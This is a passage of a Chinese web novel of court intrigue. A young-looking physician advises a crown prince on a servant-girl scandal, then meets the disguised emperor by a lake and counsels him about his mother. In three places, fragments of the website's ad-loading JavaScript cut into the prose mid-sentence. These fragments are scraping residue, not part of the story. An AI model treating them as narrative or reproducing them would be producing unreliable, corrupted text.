鬼门的人水性都很好,水性好的同门可以在水下一个时辰不上来,若是接到南唐那边的任务,我们会直接潜水横渡长江,上岸做完任务再潜回北汉。 郑清住进苏和的医馆,平安留下照顾。她一心扑在郑清身上,我心里有些吃味,打算这段时间不去找她。省的看见她为一个马奴忙前忙后,体贴入微,我心里更不舒服。 太子让人把秦王送回府邸,我们露营扎寨,留宿上林宜春苑。大帐中豆如意和庄助把外域全景图挂上,这全景图是太子殿下命人将我画的四幅图,组合抄录在一张长两米半,宽一米半的丝绢上,方便随时带着随时用。 太子站在图前观摩,李大公子进来禀报说查明动手的是长公主府的人。 太子很是奇怪,长公主为什么要对一个马奴下手。 “太子殿下可还记得紫衣姑娘?” “紫衣?姑娘?”太子一愣回头看我,一脸茫然,“穿紫衣服的姑娘?”太子一副今天见闻不少,但没见着什么紫衣姑娘的样子。 我提醒他说是名唤紫衣的姑娘,问他还有印象吧。他甚至都不觉得这个名字熟悉,一手掐腰一手扶额,有些尴尬的作势思考。 “紫衣是郑清的姐姐,原是臣弟府上的。”惠王见太子还是一脸懵,又提醒道:“三月三上巳节,你来我府上跟姐姐讨酒,走的时候……嗯!”惠王挑眉,一再暗示。 太子恍然大悟,却更是尴尬,随即又一脸不以为意,自嘲似的摇摇头笑了一下,又转身去看图,忽然一脸恍然,“我说怎么……哦,姑姑原是因为这个。”太子聪慧很快反应过来其中联系。 他带了个女人回东宫,这事让长公主刘婉和陈娜娜知道了。 “我……我政务繁忙,紫衣我带回去就给忘了。我没碰她,我根本没动她。怎么会,怎么会就牵连到郑清了呢?”太子道。 众人都不敢接话。 “问题的重点不是殿下您有没有碰她。问题是您带了女人进东宫了。”韩燕熙道:“那旁人可不知道殿下有没有碰人家姑娘,也不关心也不管也不在意也没打算证实,反正殿下是把人带回家了。” 太子瞪了一眼韩燕熙。 我有些气恼,太子怎么能转头就把人给忘了呢,得忘到什么地步,连人弟弟整日在眼前晃,都想不起来了。那姑娘不是你看上的吗?喜欢的不得了,非要带走,还得连人弟弟一起带走,哦,带完了就完了。记性那么差,还找姑娘,哦,找一个带回家忘了,找一个带回家忘了,回头东宫都满了都塞不下了,才能想起来是不是?这幸亏你没碰人姑娘,你要碰了再转头忘了,人姑娘更丧良心。 男人都这样,天下乌鸦一般黑。这有一就有二,说不定太子之前已经带回去不老少了,只不过,都忘了。 噢,那他说没碰就没碰,就那记性,说不定碰了他给忘了,就不承认,就说自己没碰,他是太子谁敢说他什么? 我和惠王坐的远,就在大帐门口,我低头小声跟惠王发牢骚。惠王替我掩护,脸上一如既往地保持微笑,却也越听越僵硬。低声阻止我,快别说了快别说了…… 我白了一眼惠王,不再理他,拿了桌上的点心吃。 韩燕熙不知怎么的可能又犯了平安说得精神病,看着我,然后趴在几案上浑身发抖,好像在憋笑一样。太子大概习惯了吧,反正没人管他。 我一心都在郑清紫衣姐弟的事上,也不管他。 其实说到底还是紫衣和郑清的问题,他们为奴为婢,却曾今有幸被太子看见,喜欢,可他们没有能力和本事把握住机会,让太子一直看见一直喜欢。 太子每天日理万机,政务繁忙,国事万千,凭什么要把他们放在心上。 韩燕熙平复好了,倒了杯茶给太子,接着道:“我看啊,郑清的死活长公主根本不关心,要真想弄死他,给他来一刀不就行了吗,何必大费周张,弄这么大动静,还光明正大穿着长公主府上的装束,连换身衣服都懒得换,这不明摆着告诉咱们就是长公主动的手吗?” 张子文接过太子喝完的茶盏:“那……长公主的意思……” “就明摆着告诉殿下,殿下身边多了个女人,这事儿瞒不过长公主和未来皇后,而且我们母女表示很不满,先拿这女人弟弟玩玩,告诉殿下,你看我连你女人什么底细都一清二楚,惠王你也看好了,再给我女婿胡塞女人,也不放过你,好啦,这次先这样,别再有下次啦,乖哦。”我说完,帐子中的人都停下了动作。 惠王低声道:“这里面还有我的事?” “不然呢?” “竟将人命视为草芥。”太子咬牙切齿,良久走到茶几前坐下,沉思前事。众人慢慢有了动作。 韩燕熙看着我道:“你可真是妙人。也就是殿下仁善,容你放肆。” 我爬到太子殿下身边,仰头看着他,扯着他衣角,问道:“你不会跟我生气吧?会吗?” 太子忍不住嘴角微微上扬,我继续撒娇:“会吗?会生气吗?” 太子确实是没怎么近过女·色,这点撒娇都经不住,立时咧嘴笑着:“不,不生气。” 那我可要继续了,“长公主这次也并不是没有动杀心,只是郑清命不该绝而已。”我见太子上扬的嘴角沉了下来,算了吧,他脾气好,我也不能不知进退,换个他听着舒服的角度进言,也是为臣之道,眼睛一转,道:“郑清养马是把好手,我小黑就是他在养,这人实诚心细善思考,会依着不同马匹的性情分而饲之。小黑以前野马一样,今日却很喜欢殿下抚摸它,说明郑清驯马确实有成效。养马尚且如此用心,若有机会为殿下所用,也是把好刀。他会些拳脚功夫,读书不多,倒也勤勉,学习善于思考,是有大志之人。” 我又讲淑贵妃秦王伴读一事,分析利害说与他听,告诉他暗中培养亲信的必要。太子眼睛一亮,很是赞同。 我又说:“东宫有长公主的人,这个不可避免,殿下心中应该有数,宫外的郑清尚且差点丢了性命,宫中的紫衣怕更是危机重重。殿下要是没碰人家,就把她放出宫吧。顺便借此假意给长公主服个软。” 太子毕竟是个血气方刚的男人,听到服软二字,一脸严肃。 那我要是说,连个女人都护不住,就别占着茅坑了,家里那点破事,漏风漏的丈母娘比你还清楚,他是不得炸。我还挺想看看这位温文尔雅的太子炸一炸呢。 我拉了拉他的衣角,柔声道:“女人嘛,喜欢吃飞醋,那做娘的肯定要给女儿出气的啊,郡主是爱惨了殿下,容不得其他女人染指殿下呢。” 我可不敢说传闻都说你未来老婆看不上你,可就是占着你这坑,看得还很紧,都二十五了,还是个童男子。太子要是知道我把他比作陈娜娜强占的茅坑会怎样?我缩缩脖子。 “她那是爱我吗,她那是爱……”太子殿下觉得有些失态,连忙喝茶掩饰。 太子不说下去,众人也都知道陈娜娜爱的是未来皇后之位。 “生气不好,吃个糕点。”我拿起一块绿豆糕递到太子嘴边,太子看了看糕点并不想吃,又看了看一脸期待的我,勉强张嘴咬了一小口,看他吃下,我帮他擦擦嘴角上的碎屑,问道:“那紫衣你放不放出宫呀,放不放?” “……放。” 我开心的放下糕点,没注意到太子咬了个空,自顾自地说:“那……哟今天不行,今天太晚了,明天吧,明天一早。” 太子有些埋怨的看着自说自话的我,又看了看绿豆糕。惠王尽收眼底,憋着笑。 韩燕熙道:“你可真是个急性子。” “我不是怕殿下回头给忘了吗。” 太子又被憋了一下,拿起方才吃了一半的糕点,一口吞下。 我赶紧递上茶,“别噎着。”他正要接过,我又收回来吹了吹,“别烫着。” 这时堂邑夫进来道:“殿下,烤全羊好啦,可以用膳啦。” 我赶紧放下茶盏,“殿下咱们赶紧去尝尝加了孜然的烤全羊吧。”说完拉着太子就走。 太子心道:我其实挺想喝一口茶,往下压一压的。 听说这孜然老唐时期盛行,大乱战以后也就没在中原出现过了,我和堂邑夫带回来的也不剩多少了。 众人闻着香味,已经蠢蠢欲动,再一尝果然不同凡响。 围着篝火大家饮酒吃肉,好不快意。堂邑夫和赵不虞给大家舞剑助兴,豆如意庄助击缶敲鼓。 韩燕熙走过来问我: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “大舅哥你今年多大了。” 我剃着羊排,切着羊肉往盘子里放,准备一会儿端给太子,闻言一脸防备看着他,“干什么?” 我拿着刀具,不能近太子身,但离太子也不远,虽然太子和惠王他们喝得正欢,有说有笑,但我们俩说什么太子未必听不真切。 且我们毕竟是同僚,也得留个心眼儿。 他要吃盘子里的肉,被我一手打开。 “就问问。” 我不理他,他却学着刚才我撒娇哄太子那样,坐下来扯了一下我衣角,“说嘛,说不说嘛。” 我撇了他一眼,又给我挖坑?!如果我果断拒绝,那会显得太子刚才没我坚定,如果回答他,那么有一就有二,以后他一定会继续讹人。 太子也会发现刚才被我拿捏了,以后我再撒娇就没用了,还会被太子反感。 “我比平安大一岁。”我软糯糯的道。 “平安几岁。” “大傻子不会算数啊,平安比我小一岁啊。”说完我赶紧拿了一块羊肉堵住他的嘴,端着盘子就跑去太子身边。太子果然听见我骂韩燕熙大傻子,哈哈大笑。 晚上伴读们在太子帐子里打通铺,韩燕熙他们围坐在一起,玩平安教他的扑克牌,扑克牌是用黄铜片制作的,韩燕熙说他本来要打一副金的,或者银的,但是太子不愿意他如此奢靡,让做一副纸的,结果打了没几局就不能用了,才换这副黄铜的。 我伺候太子洗脚,太子夸我洗得好,然后我换了水又给惠王洗脚,惠王夸我洗得棒。韩燕熙是挺烦人的,我端着盆出去换水,打算给自己洗洗,他爬过来拦住我,说要不我也给他们洗洗吧,也让他们有机会夸夸我。 我不理他,他用长腿拦着我,我把盆放在一边腰间用胯骨顶着一手扶住,另一只手蘸了洗脚水弹在他脸上。他用内力挡开,反而溅了我一身。 我只恨自己内力还没全然恢复,不然有他好看。我不想理他,想绕过他,他却像老鹰捉小鸡一样,戏弄我。 太子和惠王正在对弈,只当我们两个在帐子门口闹着玩,下一手棋就乐呵呵地看一眼。其他人还在打牌,堂邑夫不是伴读也没有特许,早就下去安置了。 我忍不住像平安一样,但却隐忍着压低声音对他说了一个字,“滚!” 他闻言却坏坏地笑得很是得意,好像做什么坏事得逞了一样,趴在我耳边用最低的声音道:“你们姐妹果然像。” 我一惊,然后眼神警告他。他呵呵笑着伸脚,眼睛看了一下,挑眉努嘴。 “好吧,那我给你洗吧,要是洗得不好,你可不能怪罪我呀。”我软软糯糯的道,一脸人畜无害。 “那不能,你洗得好着呢,殿下和王爷都夸你呢!”韩燕熙喜不自禁,他怕是以为从此就把我给拿捏了。 玩牌的人耳朵也长,听见我松口了,也都一脸期待。 “那我一定好好给你洗,我不光给你洗脚脚,还给你洗腿腿,还给你洗全身,哈哈哈哈……”话音没落,一盆洗脚水已经浇得他透心凉。我最后还把盆子扣他头上了,然后就跑了。 他没防备,他是真没想到我这么敢,这可是太子大帐。 众人哈哈大笑,唯独韩燕熙狼狈,他又不能嫌弃惠王洗脚水不好喝…… 韩燕熙拿下头上的洗脚盆,心道:这姊妹俩,一个比一个狠。 太子仁善,想起紫衣因他事务繁忙,竟疏远至遗忘,心中愧疚难当,给不少赏赐,把她放出宫。 郑清身体恢复了以后,惠王引荐,太子诏他前来问话。太子以马匹为题问策,郑清对答如流,又演示骑术,配上武艺,精彩绝伦,引得太子及众人连连叫好。 太子问他有什么愿望,他说书读的不多,想要读书。 惠王说原以为只是个马奴,没想到骑术精湛,武艺高强,还有上进心,以前在他府上真是明珠蒙尘了,感叹千里马常有,伯乐不常有,赞叹太子慧眼如炬。 太子顺水推舟给了恩典,让他在上林苑马场只负责驯养小黑,空闲时间可去堂邑夫班里旁听。一个马奴,能去学宫旁听,这是天大的荣宠,郑清喜不自禁,再拜三拜,感恩戴德。 亲王们都陆续进入长安城。 18. 初遇 太子忙碌起来,要接待列位亲王,主持各项事宜,还要完成太后布置的任务,定期送往太后宫里进行检查,虽然太后只是为了困住太子,不会真的检查,但太子却要认真完成,不留把柄。 我闲着没事就去藏书阁读书,读累了就去上林苑溜达,看看小黑近况,指导一下郑清,还能遇上平安。 这日我忽然来了兴致,想去灵昆湖看还能不能遇上那条鱼精,问它要一个麟片。 这人呐,喜欢的东西,看上眼的东西,一定及时得到,能买就买,能要就要,别考虑贵不贵,也别不好意思张嘴,不然心心念念,越想越后悔。 去湖中转了几圈,也没找到鱼精,怕是已经走了。我有点遗憾,也不想空手而归,又到饭点儿,就捉些鱼来吃,我运气太好,像是撞进鱼窝,一下子捉了好多,没有地方放,便在浅滩用泥巴垒起一个小鱼塘。 为了防止把身上穿戴的首饰衣物弄脏,我索性脱了个精光,只穿了一个小短裤,浑身抹上一层稀泥,脸上,头发上都是,看着像个泥猴子。 用衣服包好收拾起来,挂在几步开外的树上。回来一看气得不行,稍大一点的鱼,力气大,要么冲破小鱼塘,或者干脆一跃而起,跳回湖中就给跑了。 于是用弓鱼术把重新追回来鱼拴好,整整齐齐地在小鱼塘里摆了一圈。 又处理了几条最不听话的,搬来一块大石头坐在上面,燊起篝火,烤鱼吃。鱼还没好,就来了一个带着家奴的儒雅老伯伯。 老伯伯满面笑容走近,双手掐腰,看着我弓好的鱼,赞叹道:“嗯,地道,我也是好多年没见到这么地道的弓鱼术了。我年轻那会最会弓鱼。” 他的家奴一脸奴才相,又不知道如何接话,只乐呵呵地点头哈腰。 一个陌生老头,路过的,我烤我的鱼,他随他的意,并没有什么交流的必要。 老伯伯看着我烤的鱼,道:“小童子,可否买一条来食?” 我还没说什么,那老奴一脸嫌弃地看了看我,又一脸担忧,“主君这外面的东西……不干净。” 我气不打一出来,看我?你是说鱼不干净还是说我是外面的东西? “哎……”老伯伯蹙眉抬起胳膊,示意老奴闭口。“多少钱啊?” 我道:“什么钱不钱的,老伯伯想吃,我还正想有人陪着吃更香,来啊。”说着我挪了挪屁股,示意他过来一起坐。 那老奴像是受到天大的惊吓,上前来看着被我弄得都是泥泞的石头,道:“别别别,主君稍等片刻。” 老伯伯并不在意,上前就要坐。老奴赶紧拦住,“不可不可,主君若弄脏了衣物……有失圣(体)……那可了不得了,稍等片刻稍等。”一边说一边四处看了一下,找了一块干净平坦的石头搬过来,老伯伯这才坐下。 接过我递过去的鱼,一边烤一边打量我,忍俊不禁:“哈哈哈,你这泥猴子,弄成这样,你娘可要揍你啦。” “我没爹没娘。”这老伯伯说话专找人痛处戳,“有爹有娘的孩子,谁这个点还没吃饭,自己捉鱼烤着吃。” 老奴见我语气不善,就要责备。 老伯伯打发他走远点,不要叨扰。 老奴不情不愿地走开,在不远处看着我们。 老伯伯看着湖光水色,似是心情惬意,自顾自说道:“我年轻时候,时常带着妻儿下河捉鱼,我下水摸鱼,我妻子把小鱼放进竹篓里,留到晚上回家吃,大鱼让我弓起来拿到集市上换些柴米油盐,我家大儿那时年幼,若弄得一身泥,他娘总要打他屁股。要是弄成你这样,得要打死了。你没娘,也不见得坏事。” “爱之深责之切,当娘的不是嫌孩子弄了一身泥脏,是担心孩子生病,打几下长长记性。”我心里难受,鼻子发酸,“与我来说,没娘是天下最坏的事,要是我娘还活着,打死我我也开心。” 老伯伯看我这样子,有些动容却也并不认可。“打死你你也开心?说着简单啊,这世间有爱孩子的娘亲,也有不爱的,不仅不爱还毒恨,真要是你娘还在非要将你打死,你怕是会伤心,难过到想哭,会想,如此娘亲无有也罢。说不定还要羡慕那些没爹没娘的孩子,羡慕你现在这般境况。你读过书?没爹没娘的孩子,可说不出你那番话来。” 我点点头说认得几个大字,又道:“哪有人会羡慕没爹没娘的孩子。人呢……皆受困于少时不可得之物,你娘待你不好吗?老伯伯怕是对自己的娘亲有什么心结或者误会吧,令堂可还健在?” “健在健在,身子骨好着呢,比我这做儿子的还硬朗些。”老伯伯哼哼笑了两下,翻转这插鱼的棍子,看着我笑而不语。 “那多好啊,你一把岁数了,还有娘亲在上,还是有娘的孩子,多好啊。” 老伯伯一脸哑巴吃黄莲,不愿与我再说下去。 我的鱼好了,放到早先摘来洗好的无花果叶子上,凉一凉,然后接着烤另一只鱼。 “我生病了,身子坏了长不大,你看我是个十来岁的小屁孩,其实我早成年了,读书不多但,看问题想事情并不肤浅。我是说真的,若是我娘能活,我拿命换也是心甘情愿的,若我娘能活,每日将我放在火上烤,以血肉反哺,我亦甘之如饴。” 老伯伯听说我的病情,不由打量我,好似如何也不相信我这副身体里是个成人。听我说完,他一脸无奈和淡然,仿佛在说看吧,没人能理解我的苦楚,却最终笑起来:“呵呵,我最怕听见这样的话,显得我极其不孝,是天下第一不孝子。”他乐呵呵地道:“我问你,若你娘因为难产生下你就对你百般厌恶,看都不愿看你一眼,把你扔给下人,养在一处废苑,任你死活,冬无衣,饥无食,关在废苑永不得出,不会如你这般自由,还能捉鱼果腹,下人们剩下饭,给你一口你就有的吃,没有就饿着,有时几乎饿死,但他们因为你是家主的儿子,又不会真正让你死,反复折磨。我那时活得和乞丐一般,连个乞丐也不如,那些下人,哼,乞讨不来。”老伯伯顿了顿,“十多岁上,我娘又添了弟弟妹妹,便把我赶了出去,我没见过外面的世界,乍一出来,惊恐不已,无依无靠,完全不能 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 生存,是我大哥私底下照顾我。” “我做过乞丐,我能体会饥寒交迫的滋味,我曾经差点饿死好几回。是我师父用七粒豆子救了我。” “七粒豆子?怎么救人?” “人饿的就剩一口气,快死的时候,胃脏只有这么大。”我用食指和拇指环了一个圈,给他看,然后继续说:“只能咽下七粒黄豆,然后喝水,让豆子在腹中慢慢涨大,把胃慢慢撑开,然后才能进食。不然会撑爆胃脏而亡。可是自那以后我就得了饿病,再也感觉不到饱腹的满足,有一次我不信邪,背着师父偷偷大吃,差点撑死,却也始终没有吃饱……不管多么锦衣玉食,也一辈子挨饿……” 老伯伯没说话,大概原本是想比惨,不料我虽比他年岁小,却比他更惨。 “你爹呢,你娘那样对你,他不管管?”我问道。我刚才不是有意打断他,只是听他说他小时候过得不如乞丐有感而发。 “他呀,他有好多大事忙,很少来看我们,他不太喜欢我娘。”老伯伯好像被烟火迷了眼,低头用袖子擦了擦眼泪,谈起父亲,轻描淡写,“我娘是他的继室,他很喜欢他元配和元配的儿子们,我又是难产,他觉得我不吉利,我娘怨恨我,不愿意他管我,他来的本就不多,难得看我一眼,等他走后,我就要挨一顿苦打,他虽也因此和我娘争吵,要接我去别的苑子教养,我娘却不愿放我,后来……总之他事情太多,我又不是他喜欢的儿子,他顾不上我,最终也不了了之,不再管我。我甚至记不清他的样子。” “那你大哥挺好的,不因你是继室之子冷漠排斥,反而敢私下帮你。”我一边往火堆里加柴一边道。 “对,长兄如父,他对我很好,安置我,给我书读,给我娶了心仪的女子,我与妻儿一起的那些年是我最美好的时光。” “后来我大哥病了,临了把我找回来接管家业,我娘就为了她更喜爱的小儿子与我争斗,我妻子是小山村出身,没见过什么世面,大户人家的规矩多,我娘又因我的关系厌恶她,对她动辄责骂,甚至当着下人处罚她。我接管家业太过忙碌,她因爱惜我,便瞒着我,最后抑郁成疾,一病而去。” 老伯伯说的动容,掩面而泣。“我娘如今又要对我儿子动手……你说这样的娘,是你你还想要吗?” “不经他人苦,不劝他人善。”我叹了口气,“可是放在我身上,我还是希望娘亲活着的。” 老伯伯闻言有些憋闷,摇摇头苦笑,这世间哪有人能对别人的苦难感同身受,他整理了好一会儿情绪,才得以安定,但鱼给他烤焦了,他想把烤焦的一面除去,却烫得一激灵,鱼掉到地上,他不好意思的笑着摇摇头:“老喽,不中用喽。” 远处的老奴大呼小叫的刚要上前,便又被他呵退。 我笑着说:“没关系,我经常掉,掉了就当给蚂蚁布施了,也算积善积德。” 他哈哈一笑。我看他手竟然烫出一个水泡,他不在意把水泡捏破了,说年轻时候都这样处理。我说那可不行,若是化脓就不好了,让他等我一下下。 19. 陛下 说罢我起身,将衣物拿回来,拿出肚兜裤子,只把外套和首饰随地放着,也不管老伯伯的惊讶神情,只快走两步一个猛子扎进湖里,把自己洗涮干净,咬住肚兜穿好裤子,然后系好肚兜。又在老伯伯一脸震惊疑惑的眼神中飞身上岸,运气将衣服震干。 他看见我,笑道:“原是个这么好看的小童子。你好深的内力啊,这衣服是运气烤干的吗?” 我也不再强调,我不是小童子是成人之类的话。很多时候我都会事先告知,却不刻意提醒别人,人们只愿意相信眼睛看到的事物。而且我也喜欢“小童子”这个身份带来的便利。 “烤干?那岂不是要烫死了,是把衣服上的水震成水雾。”我说着捡起地上的外套,取出随身带的小药匣,给他处理烫伤,上药包扎。叮嘱他近日不要沾水,两日就可康复。 他把玩我的小药匣,这小药匣巴掌大,一指厚,里面放着好多拇指大小的小药瓶,有的是药粉有的是颗粒。盖子的内里贴了一层布锦,上面整整齐齐的扎了一排银针。 我把首饰一一戴上,梳理好总角,戴上金发箍。 他看着我问:“有钱,有武艺,还学医?” “是的。”说完我转了视线,他见我注意力都在鱼上,怕是想起我有饿病,怕耽误我吃鱼,便没再追问。 我把无花果叶上的鱼剔除鱼刺,从药匣里找了一个小瓶子,“盐。”我向他展示,然后均匀的洒在鲜美的鱼肉上,先自己尝了一块,味道不错,又拿起一块,他伸手来接,却不料我直接喂到他嘴边。 他有些惊讶,又似乎想到了什么,眼圈微微泛红,他低头吃下,回味无穷的样子点点头:“好吃。好吃。” “再吃。”我又喂给他。 他一边吃一边说道:“以前我妻子这样喂我,我还有个早夭的女儿,五六岁的时候就学着她娘也这样喂我……” “陛下。” “哎,哎?”刘景先是很自然的应了一下,反应过来,又一脸震惊和疑惑。“你是什么时候得知的?” “从……一开始。” “如何得知。” 他还觉得他掩饰的很好。 我看了一下不远处的老奴,“那是个太监。” 刘景听了这话哈哈大笑,笑得那老奴一脸茫然,尴尬地点头哈腰陪着笑。 “再说陛下和太后的事,天下谁人不知,陛下讲故事的水平一般般吧。” 我向他靠了靠,低声道:“我本意陪陛下装下去,接下来的话,也想打着哑谜进谏陛下,但是吧……” “那你继续打哑谜,说与我听听。”刘景大概对刚才的微服私访有些意犹未尽,很是喜欢那种感觉。 “那好吧。”真是心累啊,那就陪着演吧,我清清嗓子,继续道:“老伯伯相逢就是有缘,我娘死的早,我自然希望无论付出什么代价,她活着就好,我也不知道自己经历了老伯伯的苦,还能不能坚持这样想,你和令堂的事,我不好置喙,也没资格也没有评断的能力。不过我刚才忽然想起一件事,或可解你心中一结,说与你听听可好?” “说来。” “嗯,我有个师叔,现在也不知死活,我师父说姑且算他死了吧。他活着的时候是个妇科圣手。我师父羽化后,我接受了门中事务,便有幸得以整理师叔的遗物,师父在时,都给他收到藏书洞密室,我也是无意间打开密室,翻看他的医案,进行学习。有一个医案他写得像故事一样,所以我记忆深刻,是关于难产,也是九死一生后母恨子欲其死的病例。” 刘景大概只喜欢烤鱼,并不怎么吃,但烤鱼的技术挺差,烤的外糊里不熟。我微微蹙眉,继续道。 “自古以来,女子生产就是一只脚踏进鬼门关,难产不在少数。可是产后如此怨恨孩子的也少,那个案例,我倒很同情母亲。”刘景闻言看了我一眼,却也不打断。我又靠近他,道:“要不我挑明了说,别打哑谜了。” “不不不,你接着说。” 这么有兴致,那好吧。“嗯……那是一个大户人家,产妇也是个继室,还是个孤女,娘家人都没了,在大户人家里根基不稳固,急切需要一个儿子稳定地位,可是夫君并不喜欢她,她千方百计怀上儿子,谁知却难产,她九死一生在高人救助下诞下儿子,却产道撕裂,直至谷道。她因此不能侍奉夫君,又怕夫君知道内情,从此嫌弃厌恶她,也怕别人知道,以此做文章,她若失宠被弃,从主母的位置上被拉下来,那可不是闹着玩的,连她这拼死伤体生下的幼子,在勾心斗角的大户人家中,也不能存活。于是她便利用夫君念在她难产,有了一丝怜惜心软,每次求欢都以顾念主君身体为由,或以怕有孕难产为由婉拒,又说主君原本多子,她亦无心生子固宠,只将元配还未成年的幼子视如己出,养在身边,每每有人提起她的亲生儿子,她便怨恨厌恶,以此来证明自己被难产吓怕了,有多不希望再次有孕生子。” 刘景又拿了一只鱼认真烤起来,其实早就心不在焉。 “也许那家主君年事已高,或者对元配真爱,或者天生不是爱色之人,那夫人久不侍寝,主君也无强制,也无需求,也没有其他女人,总之那女人反而因为讨厌难产的儿子,以害怕再孕难产之由,以爱惜丈夫身体为重,躲避侍寝,爱护元配儿子而博得美名,站稳脚跟。后来我师叔终于研制出方法,为她修复产道,后来又给主君生了老来子,终是贵不可言。” “你到底是谁?”刘景扬了扬手臂,说得漫步经心。 林子里的暗卫有了动作,我马上跪在地上三跪九叩:“陛下,小人乃苏神医嫡亲师弟长安,我师叔是妇科圣手艾十三娘。” “你讲故事的水平更一般般,这都跟直接说一样了,算什么哑谜。” “陛下也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不妨多让。” “哈哈哈哈……”刘景笑着抬起手很自然的抚摸了一下鬓角。 我赶紧又靠近他,低声道:“陛下,原本我师叔艾十三娘死后,太后的事天下唯有太后一人知晓,我刚才说的也是人家的故事哈,跟太后可没关系。林子里的暗卫您还是撤了吧,别杀我,真要打起来,我不占便宜,但也能逃。但我喜欢老伯伯,不想和老伯伯撕破脸,你留我一命,我一身本事,日后或许有大用。” 自己母亲的隐私,岂能让人随意说嘴?听完我的话,刘景脸色变了变,见我离他这么近,又对暗卫了如指掌,便知他若不仁,怕是我也不义。他又不经意地挥挥袖子,继续烤鱼。 我坐回身子,“天下的女人都不容易,大乱战的时候,奴人夜里凌辱女人,白天吃女人果腹,我听闻那时候流传一句话说来生愿为牛马,不投生为女人。故事里的产妇,在最美好的年华不能侍奉夫君,不得夫君宠爱,不得男女欢好,只能以对元配孩子视如己出之美名讨好夫君,自己的孩子不能亲爱……” “可是后来呢,后来她好了不是吗?”刘景说的很是不经意的样子,故作轻松。 “好了又有什么用,这么多年的青春美好都已经错过了。爱会减驰,恨是会习惯的,还会随着岁月的积累越来越深,最后疯魔也是有的。太后又有了新儿子,她会把早年压抑的母爱都发泄到新儿子身上,那些宠爱里,有对你的一部分啊。” 刘景听话了手一颤,差点又把鱼掉了。我只做没看见,望着湖面远处的风景。 “你怨你父亲,却根本不恨他,因为你不爱他,对他没有太深的感情太深的执拗,你恨你母亲说到底还是爱她,她恨你也是因为完全没办法抛下执念好好爱你,恨你为什么和别的孩子不一样,不能让她心无嫌隙地爱着呢,盼着你来盼着你生,却不料反而差点要了她命,让她受尽折磨和屈辱。她的手段,要弄死你办法有千种万种,可你还是活到成年,你大哥暗中帮扶你,你觉得她真得不知道吗?若你能在民间安安稳稳快快乐乐一辈子,她也是高兴的,可是偏偏做了皇帝,那是她辛苦为自己爱子谋取的,可是你坐上皇位她不开心不甘心,却也没有向你下手不是吗,你的孩子也比先帝的孩子福泽深厚,以她的手段,真出手你们谁是对手。” 刘景脸色变换,复杂地看着我。我却更加敢说。 “她如今也煎熬,梁王是他的爱子,却因你确实是个好皇帝,太子也是好太子,她便反复无常,出招也犹犹豫豫,没有杀伐决断,却满满的小心翼翼。陛下啊,她恨你,恨的并不是你这个儿子,恨的是生你时受下的苦,恨的是身体损伤的羞耻,屈辱,恨的是那个老夫少妻,我生君已老而万般不如意的岁月,恨的是你让她恨不下去也爱不起来。” 刘景的眉头渐渐舒展开,愣愣地看着前方,好像有什么冰封千年万年的东西渐渐融化。 20. 夹生 “她比你煎熬,你只是想把江山留给自己的血脉,她却要整日煎熬是顺应天命,还是冒天下之大不韪。她耗费心力,痴迷权力,不过是补偿当年身不由己言不由衷弱小无助时候的自己,不过是一个溺爱幼子,习惯把所有好东西全部给爱子的母亲,她有理智也有正义,所以反反复复,挣挣扎扎,既要克制贪念,不使自己沉迷权利,又要与人性和解,避免执迷不悟。 陛下啊,太后不过是一个女人,一个高高在上却历尽磨难的女人,陛下只要知道太后的苦衷就好,伤害已经造成,这么多年新仇旧恨,彼此没有办法和解。太后老了,还能折腾几年,陛下只要养好身体,陪着她度过最后时光就好。她闹让她闹,她出招你接招,一来一往斗来斗去一辈子也很好,人生在世就得有对手才不寂寞,你一生下来,老天就怕你寂寞,便让你们母子做对手,她一直和你争斗,何尝不是用另一种方式陪着你爱着你,关心你的近况,告诉你,她永远没有无视你的存在。有时候不能爱,恨也是好的,伤的越痛,就是恨得够深,说明爱的越苦。 释怀吧,陛下大可尝试一下,好好陪陪她最后的时光,好好告别。你们母子也只有这一生而已,他日往生,便千年万年不再相见。 就算太后最后的选择依然让人失望,但陛下英明神断,无论何时都可重新搬回大局,有什么怕的呢?” 我自顾自说着,却见刘景早将又烤糊的鱼扔在一边,眼泪止不住的流,像极了幼小的孩子。 暗卫都撤了,老奴也让他驱赶的更远,他终究是个仁慈的好皇帝,在那个位置上呆久了,杀伐决断,却也始终保持年少时的纯良。 我起身站在他面前,轻轻捧起他的脸,帮他擦干眼泪,我抱着他,像哄小孩子入眠一般,轻柔地拍着他,在他额头亲了他一下,他一脸惊愕的看着我,我又在他脸颊亲了一下,我道:“太后怀你的时候也是满心期待的,她一个孤女,身边没什么可信的人指导提点怀孕禁忌,她以为吃的越多对孩子越好,懂的人见了乐得其成,自不会与她分晓厉害,最终胎大难产,反而差点母子俱损伤了性命。你父亲也是爱你的,不然你大哥一个二十来岁的懵懂男儿,怎会无端想起别苑的你来,后来自然是真心爱护你,可是最初一定是你父亲提点他啊,他们都是爱你的,只是皇家的爱有时候藏的太深,你看不见,但不能否认爱的存在,你还有妻儿的爱,更有全天下子民的爱,你有那么多爱,不可以太贪心哟,不可以什么都想要哦。” 说着我轻轻点了点他的鼻子。他听得动容,泪如雨下,听到最后忍俊不禁,扑哧笑了一下,又像个乖巧的孩子点点头,然后低头抵在我胸口上抱着我轻轻哽咽。 “你是我师叔接生的,说起来咱们还是平辈呢!” “你师叔……要是活着那得有七八十了吧,那你……”刘景迟疑,上下打量我。 “我……我可不是小妖怪哈,我今年才十七岁。”我顿了顿:“我们这一门的功夫偏修真,确实延年益寿,有永葆青春之功效,我师兄苏和就是我师父百多岁的时候有的,我师父神采非凡,活着的时候看起来四十多岁的样子,一点不像百十岁的老人。” 刘景一脸兴致,不等他张口,我便坐下倚在他怀里,吃着鱼,也喂给他吃,他顺势像父亲怀抱爱子一般一只胳膊环住我。我调整了一个舒服的姿势,他喜欢我的可爱,宠溺一笑。 我接着道:“陛下不如把政务放一放,与太后争斗,朝野不安宁,也过早的把太子推到前面,不如敛其锋芒,藏而砺之。太后一把年纪不会有什么大动作,顶天不过是想推梁王上台,且得谋划着呢,这脓疮要拔出,得烂透才好,陛下派人盯着,掌握全局即可,空出时间对外就说将养身体,私下与我修炼,还能迷惑对手。” 刘景眯眼点点头,“你师父是个高人啊,有苏和这样的儿子,有你这样的徒儿。你叫什么?” “我叫长安。” “没有姓氏?” “没有。” 